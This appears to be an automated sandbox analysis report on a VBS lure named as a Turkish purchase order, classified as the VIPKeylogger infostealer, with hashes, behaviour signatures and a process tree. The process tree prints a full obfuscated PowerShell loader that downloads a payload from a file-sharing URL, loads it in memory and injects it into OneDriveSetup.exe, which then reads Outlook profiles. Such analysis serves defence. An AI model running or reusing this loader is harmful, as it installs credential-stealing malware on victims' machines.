Analysis
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max time kernel
117s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
12-11-2024 18:18
Static task
static1
Behavioral task
behavioral1
Sample
Yeni sipariş _TR-59647-WJO-001.vbs
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
Yeni sipariş _TR-59647-WJO-001.vbs
Resource
win10v2004-20241007-en
General
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Target
Yeni sipariş _TR-59647-WJO-001.vbs
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Size
11KB
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MD5
2c6472b80d9ffbbb9a68c8dc0ff6fb19
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SHA1
a7c487f72bb59453014912b36610d254452fa87a
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SHA256
c35fb5adc491eb8c62504f7d88e8809a7d273b29851a6a66b6155936d07acea3
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SHA512
f541e67826d489f8b6694ead8486acbf6dc64fbbf624006404a842549b896a0590170a68dba624fd3c99dfc3772d7390deed23479700e2cb3354e5b20fd054b4
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SSDEEP
192:TXHapAOg8/W/MnmbKMpuLMEyTeFQnu3mdOLkL7Fi:TXjU8k3mOkw
Malware Config
Extracted
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f
Extracted
vipkeylogger
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Blocklisted process makes network request 4 IoCs
Processes:
WScript.exepowershell.exeflow pid Process 4 4244 WScript.exe 7 4244 WScript.exe 19 4928 powershell.exe 27 4928 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid Process 2828 powershell.exe 4928 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exeWScript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation WScript.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
OneDriveSetup.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 OneDriveSetup.exe Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 OneDriveSetup.exe Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 OneDriveSetup.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 28 checkip.dyndns.org -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid Process procid_target PID 4928 set thread context of 2808 4928 powershell.exe 103 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
OneDriveSetup.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language OneDriveSetup.exe -
Modifies registry class 1 IoCs
Processes:
WScript.exedescription ioc Process Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings WScript.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 7 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
powershell.exepowershell.exeOneDriveSetup.exepid Process 2828 powershell.exe 2828 powershell.exe 4928 powershell.exe 4928 powershell.exe 2808 OneDriveSetup.exe 2808 OneDriveSetup.exe 2808 OneDriveSetup.exe 2808 OneDriveSetup.exe 2808 OneDriveSetup.exe 2808 OneDriveSetup.exe 2808 OneDriveSetup.exe 2808 OneDriveSetup.exe 2808 OneDriveSetup.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exeOneDriveSetup.exedescription pid Process Token: SeDebugPrivilege 2828 powershell.exe Token: SeDebugPrivilege 4928 powershell.exe Token: SeDebugPrivilege 2808 OneDriveSetup.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
WScript.exeWScript.exepowershell.exepowershell.exedescription pid Process procid_target PID 4764 wrote to memory of 4244 4764 WScript.exe 83 PID 4764 wrote to memory of 4244 4764 WScript.exe 83 PID 4244 wrote to memory of 2828 4244 WScript.exe 88 PID 4244 wrote to memory of 2828 4244 WScript.exe 88 PID 2828 wrote to memory of 4928 2828 powershell.exe 90 PID 2828 wrote to memory of 4928 2828 powershell.exe 90 PID 4928 wrote to memory of 2808 4928 powershell.exe 103 PID 4928 wrote to memory of 2808 4928 powershell.exe 103 PID 4928 wrote to memory of 2808 4928 powershell.exe 103 PID 4928 wrote to memory of 2808 4928 powershell.exe 103 PID 4928 wrote to memory of 2808 4928 powershell.exe 103 PID 4928 wrote to memory of 2808 4928 powershell.exe 103 PID 4928 wrote to memory of 2808 4928 powershell.exe 103 PID 4928 wrote to memory of 2808 4928 powershell.exe 103 PID 4928 wrote to memory of 2808 4928 powershell.exe 103 -
outlook_office_path 1 IoCs
Processes:
OneDriveSetup.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 OneDriveSetup.exe -
outlook_win_path 1 IoCs
Processes:
OneDriveSetup.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 OneDriveSetup.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Yeni sipariş _TR-59647-WJO-001.vbs"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4764 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\lhkienstecrzljq.vbs"2⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4244 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdGdktpbWFnZVVybCA9IHdGbGh0dHBzOi8vMTAxNy5maWxlbWFpbC4nKydjb20vYXBpLycrJ2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NCcrJzUxNzZhMDkwNGYgd0ZsO0Z2S3dlYkNsaWVudCA9JysnIE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JysnRnZLaW1hZ2VCeXRlcyA9IEZ2S3dlYkNsaWVuJysndC5Eb3dubG9hJysnZERhdGEoRnZLaW1hZ2VVcmwpO0Z2S2ltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEZ2S2ltYWdlQnl0ZScrJ3MpO0Z2S3N0YXJ0RmxhZyA9IHdGbDw8QkFTRTY0X1NUQVJUPj53Rmw7RnZLZW5kRmxhZyA9IHdGbDw8QkFTRTY0X0VORD4+d0ZsO0Z2S3N0YXJ0SW5kZXggPSBGdktpbWFnZVRleCcrJ3QuSW5kZXhPZihGdktzdGFydEZsYWcpO0Z2S2VuZEluZGV4ID0gRnZLaW1hZ2VUZXh0LkluZGV4T2YoRnZLZW5kRmxhZyk7RnZLc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIEZ2S2VuZEluZGV4IC1ndCBGdktzdGFydEluZGV4O0Z2S3N0YXJ0SW5kZXggKz0gRnZLc3RhcnRGbGFnLkxlbmd0aDtGdicrJ0tiYXNlNjRMZW5ndGggPSBGdktlbmRJbmRleCAtIEZ2S3N0YXJ0SW5kZXg7RnZLYmFzZTY0Q29tbWFuZCA9IEZ2S2ltYWdlVGV4dC5TdWJzdHJpbmcoRnZLc3RhcnRJbmQnKydleCwgRnZLYmFzZTY0TGVuZ3RoKTtGdktiYScrJ3NlNjRSZScrJ3ZlcnNlZCA9IC1qb2luIChGdktiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgOFh2IEZvckVhY2gtT2JqZWN0IHsgRnZLXyB9KVsnKyctMS4uLShGdktiYXNlNjRDb21tYW5kLkxlbmd0aCldO0Z2S2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydCcrJ106OkZyb21CYXMnKydlNjRTdHJpbmcoRnZLYicrJ2FzZTY0UmV2ZXJzZWQpO0Z2S2xvYWRlZEFzc2VtYmx5ID0nKycgW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChGJysndktjb21tYW5kQnl0ZXMpO0Z2S3ZhaU1ldGhvZCcrJyA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2Qod0ZsVkFJd0ZsKTtGJysndkt2YWlNZXRob2QuSW52b2tlKEZ2S251bGwsIEAodycrJ0ZsdHh0LmRzdGVwL3BvcC91ZS5wcmcnKyd4YW15Z3JlbmUuZ2lnLy86cHR0aHdGbCwgd0ZsZGVzYXRpdmFkb3dGbCwgd0ZsZGVzYXRpdmFkb3dGbCwgd0ZsZGVzYXRpdmFkb3dGbCwgd0ZsZGVzYXRpdmFkb3dGbCwgd0ZsMXdGbCwgdycrJ0ZsT25lRHJpdmVTZXR1cHdGbCwgd0ZsZGVzYXRpdmFkb3dGbCwgd0ZsZGVzYXRpdmFkb3dGbCx3RmxkZXNhdGl2YWRvd0ZsLHdGbGRlc2F0aXZhZG93Rmwsd0ZsZGVzYXRpdmFkb3dGbCx3Rmwxd0ZsLHdGbGRlc2F0aXZhZG93RmwpKScrJzsnKS5SZXBsQWNFKCd3RmwnLFtzVFJJbkddW0NoQXJdMzkpLlJlcGxBY0UoKFtDaEFyXTcwK1tDaEFyXTExOCtbQ2hBcl03NSksJyQnKS5SZXBsQWNFKChbQ2hBcl01NitbQ2hBcl04OCtbQ2hBcl0xMTgpLCd8JykgfCYgKCAkVkVSYm9zZXByZUZlcmVuQ2UuVG9zVFJJbkcoKVsxLDNdKydYJy1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2828 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('FvKimageUrl = wFlhttps://1017.filemail.'+'com/api/'+'file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c173094'+'5176a0904f wFl;FvKwebClient ='+' New-Object System.Net.WebClient;'+'FvKimageBytes = FvKwebClien'+'t.Downloa'+'dData(FvKimageUrl);FvKimageText = [System.Text.Encoding]::UTF8.GetString(FvKimageByte'+'s);FvKstartFlag = wFl<<BASE64_START>>wFl;FvKendFlag = wFl<<BASE64_END>>wFl;FvKstartIndex = FvKimageTex'+'t.IndexOf(FvKstartFlag);FvKendIndex = FvKimageText.IndexOf(FvKendFlag);FvKstartIndex -ge '+'0 -and FvKendIndex -gt FvKstartIndex;FvKstartIndex += FvKstartFlag.Length;Fv'+'Kbase64Length = FvKendIndex - FvKstartIndex;FvKbase64Command = FvKimageText.Substring(FvKstartInd'+'ex, FvKbase64Length);FvKba'+'se64Re'+'versed = -join (FvKbase64Command.ToCharArray() 8Xv ForEach-Object { FvK_ })['+'-1..-(FvKbase64Command.Length)];FvKcommandBytes = [System.Convert'+']::FromBas'+'e64String(FvKb'+'ase64Reversed);FvKloadedAssembly ='+' [System.Reflectio'+'n.Assembly]::Load(F'+'vKcommandBytes);FvKvaiMethod'+' = [dnlib.IO.Home].GetMethod(wFlVAIwFl);F'+'vKvaiMethod.Invoke(FvKnull, @(w'+'Fltxt.dstep/pop/ue.prg'+'xamygrene.gig//:ptthwFl, wFldesativadowFl, wFldesativadowFl, wFldesativadowFl, wFldesativadowFl, wFl1wFl, w'+'FlOneDriveSetupwFl, wFldesativadowFl, wFldesativadowFl,wFldesativadowFl,wFldesativadowFl,wFldesativadowFl,wFl1wFl,wFldesativadowFl))'+';').ReplAcE('wFl',[sTRInG][ChAr]39).ReplAcE(([ChAr]70+[ChAr]118+[ChAr]75),'$').ReplAcE(([ChAr]56+[ChAr]88+[ChAr]118),'|') |& ( $VERbosepreFerenCe.TosTRInG()[1,3]+'X'-JoIN'')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4928 -
C:\Windows\SysWOW64\OneDriveSetup.exe"C:\Windows\SysWOW64\OneDriveSetup.exe"5⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:2808
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
64B
MD51a11402783a8686e08f8fa987dd07bca
SHA1580df3865059f4e2d8be10644590317336d146ce
SHA2569b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0
SHA5125f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
1KB
MD5a82f4032d41676a0b73ed0812494840e
SHA172dc7035344b30d2430fb851f383070dc3d1e364
SHA256b03c7f247ea3d720f27e34e0975cb0b3a04100a2222bc86bce6c210eb8d352d0
SHA51242c3a17ec824725cd157ba4af541b2c3d36c371297e836906de4f9e310a8d9f8bfeb9a835e1d0eb39807d11422c20fa1d54875065c2188874678776c0124ba01